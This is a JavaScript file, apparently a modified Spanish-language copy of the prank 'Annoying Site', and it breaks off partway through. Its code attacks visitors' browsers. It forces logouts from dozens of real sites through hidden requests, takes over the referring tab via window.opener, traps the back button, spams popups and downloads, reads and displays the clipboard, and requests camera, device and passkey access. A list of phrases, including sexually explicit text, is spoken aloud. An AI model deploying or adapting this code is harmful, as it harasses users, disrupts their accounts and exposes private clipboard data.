t / index.js
asdas1241's picture
Upload 23 files
dd037dd verified
/* global Element */
/**
* The Annoying Site
* https://theannoyingsite.com
*
* Author:
* Feross Aboukhadijeh
* https://feross.org
*
* Patreon:
* If you enjoyed this, please support me on Patreon!
* https://www.patreon.com/feross
*/
const SCREEN_WIDTH = window.screen.availWidth
const SCREEN_HEIGHT = window.screen.availHeight
const WIN_WIDTH = 480
const WIN_HEIGHT = 360
const VELOCITY = 15
const MARGIN = 15
const TOP_MARGIN = 50
const TICK_LENGTH = 50
const HIDDEN_STYLE = 'position: fixed; width: 1px; height: 1px; overflow: hidden; top: -10px; left: -10px;'
const ART = [
`
โ”Šโ”Š โ˜†โ”Šโ”Šโ”Šโ”Šโ˜†โ”Šโ”Šโ˜† โ”Šโ”Šโ”Šโ”Šโ”Š
โ”ˆโ”ˆโ”ˆโ”ˆโ•ญโ”โ”โ”โ”โ”โ”โ•ฎโ”Šโ˜† โ”Šโ”Š
โ”ˆโ˜† โ”ˆโ”ˆโ”ƒโ•ณโ•ณโ•ณโ–•โ•ฒโ–‚โ–‚โ•ฑโ–โ”Šโ”Š
โ”ˆโ”ˆโ˜† โ”ˆโ”ƒโ•ณโ•ณโ•ณโ–•โ–โ–โ–•โ–โ–โ”Šโ”Š
โ”ˆโ”ˆโ•ฐโ”โ”ซโ•ณโ•ณโ•ณโ–•โ–โ•ฐโ”ปโ•ฏโ–โ”Šโ”Š
โ˜† โ”ˆโ”ˆโ”ˆโ”ƒโ•ณโ•ณโ•ณโ•ณโ•ฒโ–‚โ–‚โ•ฑโ”Šโ”Šโ”Š
โ”Šโ”Šโ˜†โ”Šโ•ฐโ”ณโ”ณโ”โ”โ”ณโ”ณโ•ฏโ”Š โ”Š โ˜†โ”Š
`,
`
โ–‘โ–‘โ–“โ–“โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–“โ–“โ–‘โ–‘
โ–‘โ–“โ–’โ–’โ–“โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–“โ–’โ–’โ–“โ–‘
โ–‘โ–“โ–’โ–’โ–’โ–“โ–‘โ–‘โ–‘โ–‘โ–“โ–’โ–’โ–’โ–“โ–‘
โ–‘โ–“โ–’โ–’โ–’โ–’โ–“โ–“โ–“โ–“โ–’โ–’โ–’โ–’โ–“โ–‘
โ–‘โ–“โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–“
โ–“โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–“
โ–“โ–’โ–’โ–’โ–‘โ–“โ–’โ–’โ–’โ–’โ–’โ–‘โ–“โ–’โ–’โ–“
โ–“โ–’โ–’โ–’โ–“โ–“โ–’โ–’โ–’โ–“โ–’โ–“โ–“โ–’โ–’โ–“
โ–“โ–’โ–‘โ–‘โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–‘โ–‘โ–“
โ–“โ–’โ–‘โ–‘โ–’โ–“โ–’โ–’โ–“โ–’โ–’โ–“โ–’โ–‘โ–‘โ–“
โ–‘โ–“โ–’โ–’โ–’โ–“โ–“โ–“โ–“โ–“โ–“โ–“โ–’โ–’โ–“โ–‘
โ–‘โ–‘โ–“โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–’โ–“โ–‘โ–‘
โ–‘โ–‘โ–‘โ–“โ–“โ–“โ–“โ–“โ–“โ–“โ–“โ–“โ–“โ–‘โ–‘โ–‘
`
]
const SEARCHES = [
'acapulco episodio completo',
'rodsquare edad',
'como eliminar virus',
'como salir de paginas'
]
const VIDEOS = [
'albundy.mp4',
'badger.mp4',
'cat.mp4',
'hasan.mp4',
'heman.mp4',
'jozin.mp4',
'nyan.mp4',
'rickroll.mp4',
'space.mp4',
'trolol.mp4'
]
const FILE_DOWNLOADS = [
'cat-blue-eyes.jpg',
'cat-ceiling.jpg',
'cat-crosseyes.jpg',
'cat-cute.jpg',
'cat-hover.jpg',
'cat-marshmellows.jpg',
'cat-small-face.jpg',
'cat-smirk.jpg',
'patreon.png'
]
const PHRASES = [
'el boludo del clip soy yo y lo dije por el personaje de pepsiman que tenia el bote de basura en la cabeza, re buena onda bana ehhigual lo voy a seguir viendo pk me cago de risa con su contenido pero la baja Sadge',
'Te paso la pija por el clitoris y te meto la puntita y la saco yhago lo mismo, jugando con vos, provocandote y de la nada te la metodespacio pero toda entera hasta el fondo y la saco y hago lo mismo denuevo y te empiezo a coger re fuerte Te agarro del cuello como si teahorcara y te empiezo a coger re fuerte mientras con la otra mano te tocoel clitoris y te hago bien fuerte y rรกpido y en algunos empujones te la meto toda entera de una para verte gritar EL QUE ME BANEA ES GAY',
'Horrible, el peor evento que vi en mi vida. Tardo 10 minutos en empezar, el chat spameando todo el tiempo y los anunciantes hablando cosas que no son del evento, con un lag increible en el stream un desastre la organizacion, en la proxima haganlo mejor',
'Lo lograron. Finalmente lo rompieron. Finalmente ganaron. Destrozaron a alguien. Alguien que siempre estaba feliz, que siempre estaba sonriendo. Alguien que no merecรญa el odio. Alguien que no hacia nada mรกs que ayudar a las personas. Alguien que amรณ con todo su corazรณn.',
'Conocรญ a este bribรณn en una clรญnica de implante de pelo. Nos atendรญa el mismo doctor. Aprendรญ varias cosas de รฉl y le estoy muy agradecido incluso hoy. En las salas de espera de la clรญnica me enseรฑรณ cรณmo hacer el salto del papu y cรณmo sacar la gun. Hoy le debo gran parte de mi pelo a este noble enbaucador. Lo รบnico que lamento es que en esos tiempos no lo ayudรฉ con sus speedruns. Los otros pacientes se aprovecharon de su fragilidad e inocencia para obligarlo a ir a la Bresh y bailar contra su voluntad. De todos modos, son aguas del pasado... Me alegra ver que has superado toda esa etapa y encontrarte aquรญ en You Tube... Abraza y deja estos recuerdos atrรกs.',
'os seres humanos sueรฑan robot incluso los perros sueรฑan, pero tu no tu solo eres una maquina, una imitacion de la vida. Puedes componer una sinfonia? Acaso puedes convertir un lienzo en una obra maestra?',
'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaak',
'eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo eyo'
]
const LOGOUT_SITES = {
AOL: ['GET', 'https://my.screenname.aol.com/_cqr/logout/mcLogout.psp?sitedomain=startpage.aol.com&authLev=0&lang=en&locale=us'],
'AOL 2': ['GET', 'https://api.screenname.aol.com/auth/logout?state=snslogout&r=' + Math.random()],
Amazon: ['GET', 'https://www.amazon.com/gp/flex/sign-out.html?action=sign-out'],
Blogger: ['GET', 'https://www.blogger.com/logout.g'],
Delicious: ['GET', 'https://www.delicious.com/logout'], // works!
DeviantART: ['POST', 'https://www.deviantart.com/users/logout'],
DreamHost: ['GET', 'https://panel.dreamhost.com/index.cgi?Nscmd=Nlogout'],
Dropbox: ['GET', 'https://www.dropbox.com/logout'],
eBay: ['GET', 'https://signin.ebay.com/ws/eBayISAPI.dll?SignIn'],
Gandi: ['GET', 'https://www.gandi.net/login/out'],
GitHub: ['GET', 'https://github.com/logout'],
GMail: ['GET', 'https://mail.google.com/mail/?logout'],
Google: ['GET', 'https://www.google.com/accounts/Logout'], // works!
Hulu: ['GET', 'https://secure.hulu.com/logout'],
Instapaper: ['GET', 'https://www.instapaper.com/user/logout'],
Linode: ['GET', 'https://manager.linode.com/session/logout'],
LiveJournal: ['POST', 'https://www.livejournal.com/logout.bml', { 'action:killall': '1' }],
MySpace: ['GET', 'https://www.myspace.com/index.cfm?fuseaction=signout'],
NetFlix: ['GET', 'https://www.netflix.com/Logout'],
'New York Times': ['GET', 'https://www.nytimes.com/logout'],
Newegg: ['GET', 'https://secure.newegg.com/NewMyAccount/AccountLogout.aspx'],
Photobucket: ['GET', 'https://photobucket.com/logout'],
Skype: ['GET', 'https://secure.skype.com/account/logout'],
Slashdot: ['GET', 'https://slashdot.org/my/logout'],
SoundCloud: ['GET', 'https://soundcloud.com/logout'],
'Steam Community': ['GET', 'https://steamcommunity.com/?action=doLogout'],
'Steam Store': ['GET', 'https://store.steampowered.com/logout/'],
ThinkGeek: ['GET', 'https://www.thinkgeek.com/brain/account/login.cgi?a=lo'],
Threadless: ['GET', 'https://www.threadless.com/logout'],
Tumblr: ['GET', 'https://www.tumblr.com/logout'],
Vimeo: ['GET', 'https://vimeo.com/log_out'],
Wikipedia: ['GET', 'https://en.wikipedia.org/w/index.php?title=Special:UserLogout'],
'Windows Live': ['GET', 'https://login.live.com/logout.srf'],
Woot: ['GET', 'https://account.woot.com/logout'],
Wordpress: ['GET', 'https://wordpress.com/wp-login.php?action=logout'],
Yahoo: ['GET', 'https://login.yahoo.com/config/login?.src=fpctx&logout=1&.direct=1&.done=https://www.yahoo.com/'],
Mobile: ['GET', 'http://m.youtube.com/?persist_app=1&app=m'],
YouTube: ['POST', 'https://www.youtube.com', { action_logout: '1' }],
Jelly: ['GET', 'https://jellymar.io/'],
Jelly2: ['GET', 'https://jellymar.io/'],
Fast: ['GET', 'https://fast.com'],
Jelly4: ['GET', 'https://jellymar.io/']
}
/**
* Array to store the child windows spawned by this window.
*/
const wins = []
/**
* Count of number of clicks
*/
let interactionCount = 0
/**
* Number of iframes injected into the page for the "super logout" functionality.
* See superLogout().
*/
let numSuperLogoutIframes = 0
/**
* Is this window a child window? A window is a child window if there exists a
* parent window (i.e. the window was opened by another window so `window.opener`
* is set) *AND* that parent is a window on the same origin (i.e. the window was
* opened by us, not an external website)
*/
const isChildWindow = (window.opener && isParentSameOrigin()) ||
window.location.search.indexOf('child=true') !== -1
/**
* Is this window a parent window?
*/
const isParentWindow = !isChildWindow
/*
* Run this code in all windows, *both* child and parent windows.
*/
init()
/*
* Use `window.opener` to detect if this window was opened by another window, which
* will be its parent. The `window.opener` variable is a reference to the parent
* window.
*/
if (isChildWindow) initChildWindow()
else initParentWindow()
/**
* Initialization code for *both* parent and child windows.
*/
function init () {
interceptUserInput(event => {
interactionCount += 1
// Prevent default behavior (breaks closing window shortcuts)
event.preventDefault()
event.stopPropagation()
// 'touchstart' and 'touchend' events are not able to open a new window
// (at least in Chrome), so don't even try. Checking `event.which !== 0` is just
// a clever way to exclude touch events.
if (event.which !== 0) openWindow()
startVibrateInterval()
enablePictureInPicture()
triggerFileDownload()
focusWindows()
copySpamToClipboard()
speak()
startTheramin()
// Capture key presses on the Command or Control keys, to interfere with the
// "Close Window" shortcut.
if (event.key === 'Meta' || event.key === 'Control') {
window.print()
requestWebauthnAttestation()
window.print()
requestWebauthnAttestation()
window.print()
requestWebauthnAttestation()
} else {
requestPointerLock()
requestFullscreen()
requestClipboardRead()
requestMidiAccess()
requestBluetoothAccess()
requestUsbAccess()
requestSerialAccess()
requestHidAccess()
requestCameraAndMic()
if (Math.random() < 0.1) {
// Don't request TouchID on every interaction in Safari since it blocks
// the event loop and stops windows from moving
requestWebauthnAttestation()
}
}
})
}
/**
* Initialization code for child windows.
*/
function initChildWindow () {
registerProtocolHandlers()
hideCursor()
moveWindowBounce()
setupFollowWindow()
startVideo()
detectWindowClose()
triggerFileDownload()
speak()
rainbowThemeColor()
animateUrlWithEmojis()
interceptUserInput(event => {
if (interactionCount === 1) {
startAlertInterval()
}
})
}
/**
* Initialization code for parent windows.
*/
function initParentWindow () {
showHelloMessage()
blockBackButton()
fillHistory()
startInvisiblePictureInPictureVideo()
interceptUserInput(event => {
// Only run these on the first interaction
if (interactionCount === 1) {
registerProtocolHandlers()
attemptToTakeoverReferrerWindow()
hideCursor()
startVideo()
startAlertInterval()
superLogout()
removeHelloMessage()
rainbowThemeColor()
animateUrlWithEmojis()
speak('That was a mistake')
}
})
}
/**
* Sites that link to theannoyingsite.com may specify `target='_blank'` to open the
* link in a new window. For example, Messenger.com from Facebook does this.
* However, that means that `window.opener` will be set, which allows us to redirect
* that window. YES, WE CAN REDIRECT THE SITE THAT LINKED TO US.
* Learn more here: https://www.jitbit.com/alexblog/256-targetblank---the-most-underestimated-vulnerability-ever/
*/
function attemptToTakeoverReferrerWindow () {
if (isParentWindow && window.opener && !isParentSameOrigin()) {
window.opener.location = `${window.location.origin}/?child=true`
}
}
/**
* Returns true if the parent window is on the same origin. It's not enough to check
* that `window.opener` is set, because that will also get set if a site on a
* different origin links to theannoyingsite.com with `target='_blank'`.
*/
function isParentSameOrigin () {
try {
// May throw an exception if `window.opener` is on another origin
return window.opener.location.origin === window.location.origin
} catch (err) {
return false
}
}
/**
* Ask the user "are you sure you want to leave this page?". In most browsers,
* this will not actually do anything unless the user has at least one interaction
* with the page before they close it.
*/
function confirmPageUnload () {
window.addEventListener('beforeunload', event => {
speak('Please don\'t go!')
event.returnValue = true
})
}
/**
* Attempt to register all possible browser-whitelisted protocols to be handled by
* this web app instead of their default handlers.
*/
function registerProtocolHandlers () {
if (typeof navigator.registerProtocolHandler !== 'function') return
const protocolWhitelist = [
'bitcoin',
'geo',
'im',
'irc',
'ircs',
'magnet',
'mailto',
'mms',
'news',
'ircs',
'nntp',
'sip',
'sms',
'smsto',
'ssh',
'tel',
'urn',
'webcal',
'wtai',
'xmpp'
]
const handlerUrl = window.location.href + '/url=%s'
protocolWhitelist.forEach(proto => {
navigator.registerProtocolHandler(proto, handlerUrl, 'The Annoying Site')
})
}
/**
* Attempt to access the user's camera and microphone, and attempt to enable the
* torch (i.e. camera flash) if the device has one.
*/
function requestCameraAndMic () {
if (!navigator.mediaDevices ||
typeof navigator.mediaDevices.getUserMedia !== 'function') {
return
}
navigator.mediaDevices.enumerateDevices().then(devices => {
const cameras = devices.filter((device) => device.kind === 'videoinput')
if (cameras.length === 0) return
const camera = cameras[cameras.length - 1]
navigator.mediaDevices.getUserMedia({
deviceId: camera.deviceId,
facingMode: ['user', 'environment'],
audio: true,
video: true
}).then(stream => {
const track = stream.getVideoTracks()[0]
const imageCapture = new window.ImageCapture(track)
imageCapture.getPhotoCapabilities().then(() => {
// Let there be light!
track.applyConstraints({ advanced: [{ torch: true }] })
}, () => { /* No torch on this device */ })
}, () => { /* ignore errors */ })
})
}
/**
* Animating the URL with emojis
* See: https://matthewrayfield.com/articles/animating-urls-with-javascript-and-emojis/
*/
function animateUrlWithEmojis () {
if (window.ApplePaySession) {
// Safari doesn't show the full URL anyway, so we can't animate it
return
}
const rand = Math.random()
if (rand < 0.33) {
animateUrlWithBabies()
} else if (rand < 0.67) {
animateUrlWithWave()
} else {
animateUrlWithMoons()
}
function animateUrlWithBabies () {
const e = ['๐Ÿป', '๐Ÿผ', '๐Ÿฝ', '๐Ÿพ', '๐Ÿฟ']
setInterval(() => {
let s = ''
let i; let m
for (i = 0; i < 10; i++) {
m = Math.floor(e.length * ((Math.sin((Date.now() / 100) + i) + 1) / 2))
s += '๐Ÿ‘ถ' + e[m]
}
window.location.hash = s
}, 100)
}
function animateUrlWithWave () {
setInterval(() => {
let i; let n; let s = ''
for (i = 0; i < 10; i++) {
n = Math.floor(Math.sin((Date.now() / 200) + (i / 2)) * 4) + 4
s += String.fromCharCode(0x2581 + n)
}
window.location.hash = s
}, 100)
}
function animateUrlWithMoons () {
const f = ['๐ŸŒ‘', '๐ŸŒ˜', '๐ŸŒ—', '๐ŸŒ–', '๐ŸŒ•', '๐ŸŒ”', '๐ŸŒ“', '๐ŸŒ’']
const d = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
let m = 0
setInterval(() => {
let s = ''
let x = 0
if (!m) {
while (d[x] === 4) {
x++
}
if (x >= d.length) m = 1
else {
d[x]++
}
} else {
while (d[x] === 0) {
x++
}
if (x >= d.length) m = 0
else {
d[x]++
if (d[x] === 8) d[x] = 0
}
}
d.forEach(function (n) {
s += f[n]
})
window.location.hash = s
}, 100)
}
}
/**
* Lock the user's pointer, without even being in full screen!
* Require user-initiated event.
*/
function requestPointerLock () {
const requestPointerLockApi = (
document.body.requestPointerLock ||
document.body.webkitRequestPointerLock ||
document.body.mozRequestPointerLock ||
document.body.msRequestPointerLock
)
requestPointerLockApi.call(document.body)
}
/**
* Start vibrating the device at random intervals, on supported devices.
* Requires user-initiated event.
*/
function startVibrateInterval () {
if (typeof window.navigator.vibrate !== 'function') return
setInterval(() => {
const duration = Math.floor(Math.random() * 600)
window.navigator.vibrate(duration)
}, 1000)
// If the gamepad can vibrate, we will at random intervals every second. And at random strengths!
window.addEventListener('gamepadconnected', (event) => {
const gamepad = event.gamepad
if (gamepad.vibrationActuator) {
setInterval(() => {
if (gamepad.connected) {
gamepad.vibrationActuator.playEffect('dual-rumble', {
duration: Math.floor(Math.random() * 600),
strongMagnitude: Math.random(),
weakMagnitude: Math.random()
})
}
}, 1000)
}
})
}
/**
* Intercept all user-initiated events and call the given the function, `onInput`.
*/
function interceptUserInput (onInput) {
document.body.addEventListener('touchstart', onInput, { passive: false })
document.body.addEventListener('mousedown', onInput)
document.body.addEventListener('mouseup', onInput)
document.body.addEventListener('click', onInput)
document.body.addEventListener('keydown', onInput)
document.body.addEventListener('keyup', onInput)
document.body.addEventListener('keypress', onInput)
}
/**
* Start an invisible, muted video so we have a one ready to put into
* picture-in-picture mode on the first user-interaction.
*/
function startInvisiblePictureInPictureVideo () {
const video = document.createElement('video')
video.src = getRandomArrayEntry(VIDEOS)
video.loop = true
video.muted = true
video.style = HIDDEN_STYLE
video.autoplay = true
video.play()
document.body.appendChild(video)
}
/**
* Active Safari's picture-in-picture feature, which let's show a video on the
* desktop. Requires user-initiated event.
*/
function enablePictureInPicture () {
const video = document.querySelector('video')
if (document.pictureInPictureEnabled) {
video.style = ''
video.muted = false
video.requestPictureInPicture()
video.play()
}
}
/**
* Focus all child windows. Requires user-initiated event.
*/
function focusWindows () {
wins.forEach(win => {
if (!win.closed) win.focus()
})
}
/**
* Open a new popup window. Requires user-initiated event.
*/
function openWindow () {
const { x, y } = getRandomCoords()
const opts = `width=${WIN_WIDTH},height=${WIN_HEIGHT},left=${x},top=${y}`
const win = window.open(window.location.pathname, '', opts)
// New windows may be blocked by the popup blocker
if (!win) return
wins.push(win)
if (wins.length === 2) setupSearchWindow(win)
}
/**
* Hide the user's cursor!
*/
function hideCursor () {
document.querySelector('html').style = 'cursor: none;'
}
/**
* Trigger a file download immediately. One file download is allowed *without* user
* interaction. Further file downloads should happen in response to a user-initiated
* event or they will be blocked.
*/
function triggerFileDownload () {
const fileName = getRandomArrayEntry(FILE_DOWNLOADS)
const a = document.createElement('a')
a.href = fileName
a.download = fileName
a.click()
}
/**
* Speak the given `phrase` using text-to-speech.
*/
function speak (phrase) {
if (phrase == null) phrase = getRandomArrayEntry(PHRASES)
window.speechSynthesis.speak(new window.SpeechSynthesisUtterance(phrase))
}
/**
* Start an annoying theramin that changes pitch and volume depending on
* the mouse position. Uses a Web Audio oscillator. Reauires user-initiated
* event.
* Based on https://github.com/feross/TheAnnoyingSite.com/pull/2
*/
function startTheramin () {
const audioContext = new AudioContext()
const oscillatorNode = audioContext.createOscillator()
const gainNode = audioContext.createGain()
const pitchBase = 50
const pitchRange = 4000
const wave = audioContext.createPeriodicWave(
Array(10).fill(0).map((v, i) => Math.cos(i)),
Array(10).fill(0).map((v, i) => Math.sin(i))
)
oscillatorNode.setPeriodicWave(wave)
oscillatorNode.connect(gainNode)
gainNode.connect(audioContext.destination)
oscillatorNode.start(0)
const oscillator = ({ pitch, volume }) => {
oscillatorNode.frequency.value = pitchBase + pitch * pitchRange
gainNode.gain.value = volume * 0.5
}
document.body.addEventListener('mousemove', event => {
const { clientX, clientY } = event
const { clientWidth, clientHeight } = document.body
const pitch = (clientX - clientWidth / 2) / clientWidth
const volume = (clientY - clientHeight / 2) / clientHeight
oscillator({ pitch, volume })
})
}
/**
* Attempt to read the user's clipboard.
* Requires user-initiated event.
*/
function requestClipboardRead () {
try {
navigator.clipboard.readText().then(
data => {
if (!window.ApplePaySession) {
// Don't alert in Safari because it blocks the event loop
window.alert("Successfully read data from clipboard: '" + data + "'")
}
},
() => {}
)
} catch {}
}
/**
* Request Webauthn attestation.
* Requires user-initiated event.
*/
function requestWebauthnAttestation () {
try {
// From https://developer.mozilla.org/en-US/docs/Web/API/Web_Authentication_API
// This code is public domain, per https://developer.mozilla.org/en-US/docs/MDN/About#Copyrights_and_licenses
// sample arguments for registration
const createCredentialDefaultArgs = {
publicKey: {
// Relying Party (a.k.a. - Service):
rp: {
name: 'Acme'
},
// User:
user: {
id: new Uint8Array(16),
name: 'YOU_ARE_HACKED@THEANNOYINGSITE.COM',
displayName: 'YOU ARE HACKED'
},
pubKeyCredParams: [{
type: 'public-key',
alg: -7
}],
attestation: 'direct',
timeout: 60000,
challenge: new Uint8Array([ // must be a cryptographically random number sent from a server
0x8C, 0x0A, 0x26, 0xFF, 0x22, 0x91, 0xC1, 0xE9, 0xB9, 0x4E, 0x2E, 0x17, 0x1A, 0x98, 0x6A, 0x73,
0x71, 0x9D, 0x43, 0x48, 0xD5, 0xA7, 0x6A, 0x15, 0x7E, 0x38, 0x94, 0x52, 0x77, 0x97, 0x0F, 0xEF
]).buffer
}
}
// sample arguments for login
const getCredentialDefaultArgs = {
publicKey: {
timeout: 60000,
// allowCredentials: [newCredential] // see below
challenge: new Uint8Array([ // must be a cryptographically random number sent from a server
0x79, 0x50, 0x68, 0x71, 0xDA, 0xEE, 0xEE, 0xB9, 0x94, 0xC3, 0xC2, 0x15, 0x67, 0x65, 0x26, 0x22,
0xE3, 0xF3, 0xAB, 0x3B, 0x78, 0x2E, 0xD5, 0x6F, 0x81, 0x26, 0xE2, 0xA6, 0x01, 0x7D, 0x74, 0x50
]).buffer
}
}
// register / create a new credential
navigator.credentials.create(createCredentialDefaultArgs)
.then((cred) => {
// normally the credential IDs available for an account would come from a server
// but we can just copy them from above...
const idList = [{
id: cred.rawId,
transports: ['usb', 'nfc', 'ble'],
type: 'public-key'
}]
getCredentialDefaultArgs.publicKey.allowCredentials = idList
return navigator.credentials.get(getCredentialDefaultArgs)
})
} catch {}
}
/**
* Request access to MIDI devices.
* Requires user-initiated event.
*/
function requestMidiAccess () {
try {
navigator.requestMIDIAccess({
sysex: true
})
} catch {}
}
/**
* Request access to Bluetooth devices.
* Requires user-initiated event.
*/
function requestBluetoothAccess () {
try {
navigator.bluetooth.requestDevice({
// filters: [...] <- Prefer filters to save energy & show relevant devices.
// acceptAllDevices here ensures dialog can populate, we don't care with what.
acceptAllDevices: true
})
.then(device => device.gatt.connect())
} catch {}
}
/**
* Request access to USB devices.
* Requires user-initiated event.
*/
function requestUsbAccess () {
try {
navigator.usb.requestDevice({ filters: [{}] })
} catch {}
}
/**
* Request access to Serial devices.
* Requires user-initiated event.
*/
function requestSerialAccess () {
try {
navigator.serial.requestPort({ filters: [] })
} catch {}
}
/**
* Request access to HID devices.
* Requires user-initiated event.
*/
function requestHidAccess () {
try {
navigator.hid.requestDevice({ filters: [] })
} catch {}
}
/**
* Move the window around the screen and bounce off of the screen edges.
*/
function moveWindowBounce () {
let vx = VELOCITY * (Math.random() > 0.5 ? 1 : -1)
let vy = VELOCITY * (Math.random() > 0.5 ? 1 : -1)
setInterval(() => {
const x = window.screenX
const y = window.screenY
const width = window.outerWidth
const height = window.outerHeight
if (x < MARGIN) vx = Math.abs(vx)
if (x + width > SCREEN_WIDTH - MARGIN) vx = -1 * Math.abs(vx)
if (y < TOP_MARGIN) vy = Math.abs(vy)
if (y + height > SCREEN_HEIGHT - MARGIN) vy = -1 * Math.abs(vy)
window.moveBy(vx, vy)
}, TICK_LENGTH)
}
/**
* Follow the user's mouse
*/
function setupFollowWindow () {
document.addEventListener('mousemove', function (e) {
window.moveTo(e.screenX - (WIN_WIDTH / 2), e.screenY - (WIN_HEIGHT / 2))
})
}
/**
* Show a random troll video in the window.
*/
function startVideo () {
const video = document.createElement('video')
video.src = getRandomArrayEntry(VIDEOS)
video.autoplay = true
video.loop = true
video.style = 'width: 100%; height: 100%;'
document.body.appendChild(video)
}
/**
* When a child window closes, notify the parent window so it can remove it from
* the list of child windows.
*/
function detectWindowClose () {
window.addEventListener('unload', () => {
if (!window.opener.closed) window.opener.onCloseWindow(window)
})
}
/**
* Handle a child window closing.
*/
function onCloseWindow (win) {
const i = wins.indexOf(win)
if (i >= 0) wins.splice(i, 1)
}
/**
* Show the unsuspecting user a friendly hello message with a cat.
*/
function showHelloMessage () {
const template = document.querySelector('template')
const clone = document.importNode(template.content, true)
document.body.appendChild(clone)
}
/**
* Remove the hello message.
*/
function removeHelloMessage () {
const helloMessage = document.querySelector('.hello-message')
helloMessage.remove()
}
/**
* Change the theme color of the browser in a loop.
*/
function rainbowThemeColor () {
function zeroFill (width, number, pad = '0') {
width -= number.toString().length
if (width > 0) return new Array(width + (/\./.test(number) ? 2 : 1)).join(pad) + number
return number + ''
}
const meta = document.querySelector('meta.theme-color')
setInterval(() => {
meta.setAttribute('content', '#' + zeroFill(6, Math.floor(Math.random() * 16777215).toString(16)))
}, 50)
}
/**
* Copy cat pictures onto the user's clipboard. Requires user-initiated event.
*/
function copySpamToClipboard () {
const randomArt = getRandomArrayEntry(ART) + '\nCheck out https://theannoyingsite.com'
clipboardCopy(randomArt)
}
/**
* Copy given text, `text`, onto the user's clipboard.
* Requires user-initiated event.
*/
function clipboardCopy (text) {
// A <span> contains the text to copy
const span = document.createElement('span')
span.textContent = text
span.style.whiteSpace = 'pre' // Preserve consecutive spaces and newlines
// An <iframe> isolates the <span> from the page's styles
const iframe = document.createElement('iframe')
iframe.sandbox = 'allow-same-origin'
document.body.appendChild(iframe)
let win = iframe.contentWindow
win.document.body.appendChild(span)
let selection = win.getSelection()
// Firefox fails to get a selection from <iframe> window, so fallback
if (!selection) {
win = window
selection = win.getSelection()
document.body.appendChild(span)
}
const range = win.document.createRange()
selection.removeAllRanges()
range.selectNode(span)
selection.addRange(range)
let success = false
try {
success = win.document.execCommand('copy')
} catch (err) {
console.log(err)
}
selection.removeAllRanges()
span.remove()
iframe.remove()
return success
}
/**
* Show a modal dialog at a regular interval. Modals capture focus from other OS apps and browser tabs.
* Except in Chrome 64+, where modals can only capture focus from other OS apps,
* but not from other tabs.
*/
function startAlertInterval () {
setInterval(() => {
if (Math.random() < 0.5) {
showAlert()
} else {
window.print()
}
}, 120_000)
}
/**
* Show an alert with 1000's of lines of cat ASCII art.
*/
function showAlert () {
const randomArt = getRandomArrayEntry(ART)
const longAlertText = Array(200).join(randomArt)
window.alert(longAlertText)
}
/**
* Fullscreen the browser window
*/
function requestFullscreen () {
const requestFullscreen = Element.prototype.requestFullscreen ||
Element.prototype.webkitRequestFullscreen ||
Element.prototype.mozRequestFullScreen ||
Element.prototype.msRequestFullscreen
requestFullscreen.call(document.body)
}
/**
* Log the user out of top sites they're logged into, including Google.com.
* Inspired by https://superlogout.com
*/
function superLogout () {
function cleanup (el, delayCleanup) {
if (delayCleanup) {
delayCleanup = false
return
}
el.parentNode.removeChild(el)
}
function get (url) {
const img = document.createElement('img')
img.onload = () => cleanup(img)
img.onerror = () => cleanup(img)
img.style = HIDDEN_STYLE
document.body.appendChild(img)
img.src = url
}
function post (url, params) {
const iframe = document.createElement('iframe')
iframe.style = HIDDEN_STYLE
iframe.name = 'iframe' + numSuperLogoutIframes
document.body.appendChild(iframe)
numSuperLogoutIframes += 1
const form = document.createElement('form')
form.style = HIDDEN_STYLE
let numLoads = 0
iframe.onload = iframe.onerror = () => {
if (numLoads >= 1) cleanup(iframe)
numLoads += 1
}
form.action = url
form.method = 'POST'
form.target = iframe.name
for (const param in params) {
if (Object.prototype.hasOwnProperty.call(params, param)) {
const input = document.createElement('input')
input.type = 'hidden'
input.name = param
input.value = params[param]
form.appendChild(input)
}
}
document.body.appendChild(form)
form.submit()
}
for (const name in LOGOUT_SITES) {
const method = LOGOUT_SITES[name][0]
const url = LOGOUT_SITES[name][1]
const params = LOGOUT_SITES[name][2] || {}
if (method === 'GET') {
get(url)
} else {
post(url, params)
}
const div = document.createElement('div')
div.innerText = `Fuiste troleado rot!!!!!! deslogeando de ${name}...`
const logoutMessages = document.querySelector('.logout-messages')
logoutMessages.appendChild(div)
}
}
/**
* Disable the back button. If the user goes back, send them one page forward ;-)
*/
function blockBackButton () {
window.addEventListener('popstate', () => {
window.history.forward()
})
}
/**
* Fill the history with extra entries for this site, to make it harder to find
* the previous site in the back button's dropdown menu.
*/
function fillHistory () {
for (let i = 1; i < 20; i++) {
window.history.pushState({}, '', window.location.pathname + '?q=' + i)
}
// Set location back to the initial location, so user does not notice
window.history.pushState({}, '', window.location.pathname)
}
/**
* Get random x, y coordinates for a new window on the screen. Takes into account
* screen size, window size, and leaves a safe margin on all sides.
*/
function getRandomCoords () {
const x = MARGIN +
Math.floor(Math.random() * (SCREEN_WIDTH - WIN_WIDTH - MARGIN))
const y = TOP_MARGIN +
Math.floor(Math.random() * (SCREEN_HEIGHT - WIN_HEIGHT - TOP_MARGIN))
return { x, y }
}
/**
* Get a random element from a given array, `arr`.
*/
function getRandomArrayEntry (arr) {
return arr[Math.floor(Math.random() * arr.length)]
}
// TODO: document this
function setupSearchWindow (win) {
if (!win) return
const { x, y } = getRandomCoords()
win.moveTo(x, y)
win.resizeTo(WIN_WIDTH * 2, WIN_HEIGHT * 2)
win.window.location = 'https://www.bing.com/search?q=' + encodeURIComponent(SEARCHES[0])
let searchIndex = 1
const interval = setInterval(() => {
if (win.closed) {
clearInterval(interval)
onCloseWindow(win)
return
}
win.window.location = window.location.pathname
setTimeout(() => {
win.resizeTo(WIN_WIDTH, WIN_HEIGHT)
}, 500)
setTimeout(() => {
const { x, y } = getRandomCoords()
win.moveTo(x, y)
win.resizeTo(WIN_WIDTH * 2, WIN_HEIGHT * 2)
